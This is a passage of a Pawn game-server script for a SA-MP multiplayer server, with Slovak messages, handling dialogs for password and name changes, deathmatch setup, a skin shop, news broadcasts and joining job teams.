                    ShowPlayerDialog(playerid,Dialog_Info3,DIALOG_STYLE_INPUT,"Change password","{ffffff}Zadaj svoje nové heslo:","Dále","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info3)
        {
            if(response == 1)
            {
                  new Name[24];
                GetPlayerName(playerid,Name,24);
                new way[32];
                format(way,32,"SL/%s.cfg",Name);
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_Info3,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si heslo !{ffffff}Zadaj svoje nové heslo:","Ďalej","Cancel");
                else
                {
                    dini_Set(way,"Password",lyrhash(inputtext));
                    new Text2[128];
                    format(Text2,128,"{ffffff}Úspešne si si zmenil heslo !\nTvoje nové heslo je: {ffff00}%s",inputtext);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Change password",Text2,"OK","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info4)
        {
            if(response == 1)
            {
                new way3[32];
                format(way3,32,"SL/%s.cfg",inputtext);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Nezadal si meno !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(strlen(inputtext)<4) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Minimálne 4 znaky !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(strlen(inputtext)>20) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Maximálne 20 znakov !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else if(dini_Exists(way3)) return ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change password","{ff0000}Hráč zo zadaným menom už existuje !{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                else
                {
                    new msg[128], oldname[24], newname[24];
                    GetPlayerName(playerid,oldname,24);
                    SetPlayerName(playerid,inputtext);
                    GetPlayerName(playerid,newname,24);

                    format(msg,128,"Hráč %s (%d) si zmenil svoje meno na: %s",oldname,playerid,newname);
                    GivePlayerACMoney(playerid,-100000);
                    SendClientMessageToAll(COLOR_ORANGE,msg);
                    new newway[32];
                    new oldway[32];
                    format(newway,32,"SL/%s.cfg",newname);
                    format(oldway,32,"SL/%s.cfg",oldname);
                    
                    dini_Unset("SL/Server/AllPlayers.cfg", oldname);
                    dini_IntSet("SL/Server/AllPlayers.cfg", newname, 1);

                    if(Player[playerid][FirmP] != 9999)
                    {
                        new fway[40];
                        format(fway,40,"SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                        dini_Set(fway, "Majitel", newname);

                        Delete3DTextLabel(Firm[Player[playerid][FirmP]][Text3D]);
                        new fstring[256];
                        format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmP]][Trzba]);
                        Firm[Player[playerid][FirmP]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmP]][fpX], Firm[Player[playerid][FirmP]][fpY], Firm[Player[playerid][FirmP]][fpZ], 40, 0);
                    }

                    if(Player[playerid][ClanP] != 9999)
                    {
                        new cway[64];
                        format(cway,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                        new P_Name[16];
                        format(P_Name,16, "P%d_Name", Player[playerid][ClanRank]);

                        dini_Set(cway, P_Name, newname);

                        if(Player[playerid][ClanRank] == 0)
                        {
                            dini_Set(cway, "Majitel", newname);
                            dini_Set(cway, "P0_Name", newname);

                            Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                            new c3Dstring[150];
                            format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                            Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                        }
                    }

                    if(!dini_Exists(newway))
                    {
                        if(Player[playerid][HouseP]!=9999)
                        {
                            new way5[32];
                            format(way5,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                            Delete3DTextLabel(House_V[Player[playerid][HouseP]][Text3D]);
                            dini_Set(way5,"Majitel",newname);
                            new housestring[128];
                            format(housestring,128,"[ House ]\nMajitel:\n%s",dini_Get(way5,"Majitel"));
                            House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel(housestring,0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                        }

                        dini_Create(newway);
                        dini_Set(newway,"Password",dini_Get(oldway,"Password"));
                        dini_IntSet(newway,"AdminLevel",dini_Int(oldway,"AdminLevel"));
                        dini_IntSet(newway,"Bank",dini_Int(oldway,"Bank"));
                        dini_IntSet(newway,"WantedLevel",dini_Int(oldway,"WantedLevel"));
                        dini_IntSet(newway,"Reward",dini_Int(oldway,"Reward"));
                        dini_IntSet(newway,"Kills",dini_Int(oldway,"Kills"));
                        dini_IntSet(newway,"Deaths",dini_Int(oldway,"Deaths"));
                        dini_IntSet(newway,"House",dini_Int(oldway,"House"));
                        dini_IntSet(newway,"Team",dini_Int(oldway,"Team"));
                        dini_IntSet(newway,"Vodicak",dini_Int(oldway,"Vodicak"));
                        dini_IntSet(newway,"Zbrojak",dini_Int(oldway,"Zbrojak"));
                        dini_IntSet(newway,"Notebook",dini_Int(oldway,"Notebook"));
                        dini_IntSet(newway,"GPS",dini_Int(oldway,"GPS"));
                        dini_IntSet(newway,"Registred",dini_Int(oldway,"Registred"));
                        dini_IntSet(newway,"Hours",dini_Int(oldway,"Hours"));
                        dini_IntSet(newway,"Minutes",dini_Int(oldway,"Minutes"));
                        dini_IntSet(newway,"EBank",dini_Int(oldway,"EBank"));
                        dini_FloatSet(newway,"Skill",dini_Float(oldway,"Skill"));
                        dini_FloatSet(newway,"Respect",dini_Float(oldway,"Respect"));
                        dini_IntSet(newway,"Firm",dini_Int(oldway,"Firm"));
                        dini_IntSet(newway,"Clan",dini_Int(oldway,"Clan"));
                        dini_IntSet(newway,"ClanRank",dini_Int(oldway,"ClanRank"));
                        dini_IntSet(newway,"MobilNumber",dini_Int(oldway,"MobilNumber"));

                        dini_IntSet(newway,"Bagety",dini_Int(oldway,"Bagety"));
                        dini_IntSet(newway,"Sprunk",dini_Int(oldway,"Sprunk"));
                        dini_IntSet(newway,"Pivo",dini_Int(oldway,"Pivo"));
                        dini_IntSet(newway,"Vino",dini_Int(oldway,"Vino"));
                        dini_IntSet(newway,"Whisky",dini_Int(oldway,"Whisky"));
                        dini_IntSet(newway,"Marihuana",dini_Int(oldway,"Marihuana"));
                        dini_IntSet(newway,"Jointy",dini_Int(oldway,"Jointy"));
                        dini_IntSet(newway,"Cigarety",dini_Int(oldway,"Cigarety"));
                        dini_IntSet(newway,"Svetlica",dini_Int(oldway,"Svetlica"));
                        dini_IntSet(newway,"Dynamit",dini_Int(oldway,"Dynamit"));
                        dini_IntSet(newway,"Mina",dini_Int(oldway,"Mina"));
                        dini_IntSet(newway,"Raptor",dini_Int(oldway,"Raptor"));
                        dini_IntSet(newway,"Predator",dini_Int(oldway,"Predator"));

                        dini_IntSet(newway,"VIP",dini_Int(oldway,"VIP"));
                        dini_IntSet(newway,"VIP_Time",dini_Int(oldway,"VIP_Time"));
                        dini_IntSet(newway,"VIP_Days",dini_Int(oldway,"VIP_Days"));
                        dini_Set(newway,"VIP_PW",dini_Get(oldway,"VIP_PW"));
                        dini_IntSet(newway,"VIP_Tarif",dini_Int(oldway,"VIP_Tarif"));

                        new p_m_way[64];
                        format(p_m_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);
                        dini_Set(p_m_way, "Majitel", newname);
                    }

                    if(dini_Exists(oldway)) dini_Remove(oldway);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Change name","{FFCC00}Úspešne si si zmenil meno !","OK","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMReward)
        {
            if(response == 1)
            {
                if(!strval(inputtext[0])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si výhru !");
                else if(strval(inputtext[0])>999999999 || strval(inputtext[0])<0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Zadal si veľmy veľku výhru !");
                else if(Player[playerid][AdminLevel]!=5 && strval(inputtext[0])>500000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč s Admin Levelom menším ako 5 nemôže zadať maximálnu výhru 500 000$ !");
                else
                {
                    DM[Reward]=strval(inputtext[0]);
                    ShowPlayerDialog(playerid,Dialog_DMPlayers,DIALOG_STYLE_INPUT,"Death Match","Zadaj maximálny počet hráčov:\n2 - 10","Ďalej","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMPlayers)
        {
            if(response == 1)
            {
                if(!strval(inputtext[0])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si počet hráčov !");
                else if(strval(inputtext[0])>10 || strval(inputtext[0])<2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Počet hráčov môže byť 2 - 10 !");
                else
                {
                    DM[MaxPlayers]=strval(inputtext[0]);
                    DM[SlctdWeaps]=0;
                    ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Ďalej","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_DMWeapons)
        {
            if(response == 1)
            {
                DM[SlctdWeaps]++;
                if(listitem == 0)
                {
                    new weaponid = 0;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 1)
                {
                    new weaponid = 22;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 2)
                {
                    new weaponid = 23;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 3)
                {
                    new weaponid = 24;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 4)
                {
                    new weaponid = 25;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 5)
                {
                    new weaponid = 26;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 6)
                {
                    new weaponid = 27;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 7)
                {
                    new weaponid = 28;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 8)
                {
                    new weaponid = 29;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 9)
                {
                    new weaponid = 30;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 10)
                {
                    new weaponid = 31;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 11)
                {
                    new weaponid = 32;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 12)
                {
                    new weaponid = 33;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 13)
                {
                    new weaponid = 34;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                if(listitem == 14)
                {
                    new weaponid = 35;
                    if(DM[SlctdWeaps]==1) DM[Weapon1] = weaponid;
                    else if(DM[SlctdWeaps]==2) DM[Weapon2] = weaponid;
                    else if(DM[SlctdWeaps]==3) DM[Weapon3] = weaponid;
                }
                     if(DM[SlctdWeaps]<=1) ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Ďalej","Cancel");
                else if(DM[SlctdWeaps]==2) ShowPlayerDialog(playerid,Dialog_DMWeapons,DIALOG_STYLE_LIST,"Death Match - Vyber 3 zbrane","Nič\n9 mm\n9 mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nUZI\nMP5\nAK - 47\nM4\nTec 9\nPuška\nSniperka\nRPG","Create","Cancel");
                else if(DM[SlctdWeaps]==3)
                {
                    DM[SlctdWeaps]=0;
                    DM[State]=1;
                    DM[Players]=1;
                    DM[CountDown]=6;

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i)) Player[i][DM_Player]=9999;
                        }
                    }

                    Player[playerid][DM_Player]=DM[Players];
                    SpawnPlayer(playerid);
                    TogglePlayerControllable(playerid,1);
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmjoin [ ID ] {ffffff}pripojíš hráča do DM");
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmstart {ffffff}odštartuješ DM");
                    SendClientMessage(playerid,COLOR_WHITE,"[ DM ] {ff0000}/dmend {ffffff}ukončíš DM");
                    new string[128], Name[24];
                    GetPlayerName(playerid,Name,24);
                    format(string,128,"Administrátor %s založil Death Match s výhrou %d$ !",Name,DM[Reward]);
                    SendClientMessageToAll(COLOR_WHITE,string);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_SkinShop)
        {
            if(response == 1)
            {
                TogglePlayerControllable(playerid,0);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","{ff0000}Nezadal si číslo skinu !\n\n{c5c5c5}Zadaj číslo skinu:\n1 - 299","Zhliadnuť","Cancel");
                else if(strval(inputtext) < 1 || strval(inputtext) > 299) return ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","{ff0000}Neplatné ID !\n\n{c5c5c5}Zadaj číslo skinu:\n1 - 299","Zhliadnuť","Cancel");
                else
                {
                    Player[playerid][SelectedSkin] = strval(inputtext);
                    SetPlayerSkin(playerid, strval(inputtext));

                    new string[128];
                    format(string,128, "~w~ID: ~y~%d~n~~w~Cena: ~y~1000$", strval(inputtext));
                    FormatPlayerInfoBox(playerid, "~g~Obchod", string, 2000);
                }
            }
            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                Player[playerid][SelectedSkin]=9999;
                PlayerCameraBack(playerid);
                SetPlayerSkin(playerid,Player[playerid][SkinIDSkinShop]);
                Player[playerid][Skin]=Player[playerid][SkinIDSkinShop];
                SetPlayerVirtualWorld(playerid,Player[playerid][SaveVirtualWorld]);
                SetPlayerInterior(playerid,Player[playerid][SaveInterior]);
                SetPlayerPos(playerid,Player[playerid][SavePosX],Player[playerid][SavePosY],Player[playerid][SavePosZ]);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_SANEWS_menu)
        {
            if(response == 1)
            {
                new Float:x, Float:y, Float:z;
                GetPlayerPos(playerid,x,y,z);

                if(listitem == 0)
                {
                    SANEWS[cX]=x;
                    SANEWS[cY]=y;
                    SANEWS[cZ]=z;
                    SANEWS[CameraPos]=true;
                    SendClientMessage(playerid,COLOR_WHITE,"Kamera bola úspešne nastavena");
                }
                if(listitem == 1)
                {
                    SANEWS[lX]=x;
                    SANEWS[lY]=y;
                    SANEWS[lZ]=z;
                    SANEWS[CameraLookAt]=true;
                    SendClientMessage(playerid,COLOR_WHITE,"Kamera bola úspešne nastavena");
                }
                if(listitem == 2)
                {
                    if(SANEWS[State]==true) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Vysielanie už prrbiehá !");
                    else if(SANEWS[CameraPos]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nenastavil si poziciu kamery !");
                    else if(SANEWS[CameraLookAt]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nenastavil si poziciu ktorou bude kamera točit !");
                    else
                    {
                        SANEWS[State]=true;
                        SendClientMessage(playerid,COLOR_WHITE,"Práve si začal žive vysielať.");
                        SendClientMessageToAll(COLOR_WHITE,"Práve začalo vysielanie na notebooku v Online TV, pokiaľ máš notebook použi: /notebook  ->  Online TV");
                    }
                }
                if(listitem == 3)
                {
                    if(SANEWS[State]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Vysielanie ešte neprebieha !");
                    else
                    {
                        SANEWS[State]=false;
                        SANEWS[CameraPos]=false;
                        SANEWS[CameraLookAt]=false;
                        SendClientMessage(playerid,COLOR_WHITE,"Ukončil si vysielanie.");
                        SendClientMessageToAll(COLOR_WHITE,"Vysielanie na Online TV práve skončilo.");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team1)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=1;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,105); Player[playerid][Skin]=105; }
                    case 1: { SetPlayerSkin(playerid,106); Player[playerid][Skin]=106; }
                    case 2: { SetPlayerSkin(playerid,107); Player[playerid][Skin]=107; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team2)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=2;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,102); Player[playerid][Skin]=102; }
                    case 1: { SetPlayerSkin(playerid,103); Player[playerid][Skin]=103; }
                    case 2: { SetPlayerSkin(playerid,104); Player[playerid][Skin]=104; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s se zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team3)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=3;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,108); Player[playerid][Skin]=108; }
                    case 1: { SetPlayerSkin(playerid,109); Player[playerid][Skin]=109; }
                    case 2: { SetPlayerSkin(playerid,110); Player[playerid][Skin]=110; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team4)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=4;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,114); Player[playerid][Skin]=114; }
                    case 1: { SetPlayerSkin(playerid,115); Player[playerid][Skin]=115; }
                    case 2: { SetPlayerSkin(playerid,116); Player[playerid][Skin]=116; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team5)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=5;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid,285);
                Player[playerid][Skin]=285;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team6)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=6;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,111); Player[playerid][Skin]=111; }
                    case 1: { SetPlayerSkin(playerid,112); Player[playerid][Skin]=112; }
                    case 2: { SetPlayerSkin(playerid,113); Player[playerid][Skin]=113; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team7)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=7;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,21); Player[playerid][Skin]=21; }
                    case 1: { SetPlayerSkin(playerid,28); Player[playerid][Skin]=28; }
                    case 2: { SetPlayerSkin(playerid,29); Player[playerid][Skin]=29; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team8)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~w~Hitman ma za ulohu zabijat ludi na ktorych je vypisana odmena.~n~~n~~y~/bounties~w~ Vypis hracov na ktorych je vypisana odmena.", 5500);
                Player[playerid][Team]=8;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,111); Player[playerid][Skin]=111; }
                    case 1: { SetPlayerSkin(playerid,112); Player[playerid][Skin]=112; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team9)
        {
            if(response == 1)
            {
                Player[playerid][Team]=9;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,163); Player[playerid][Skin]=163; }
                    case 1: { SetPlayerSkin(playerid,164); Player[playerid][Skin]=164; }
                    case 2: { SetPlayerSkin(playerid,165); Player[playerid][Skin]=165; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team10)
        {
            if(response == 1)
            {
                Player[playerid][Team]=10;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,171);
                Player[playerid][Skin]=171;

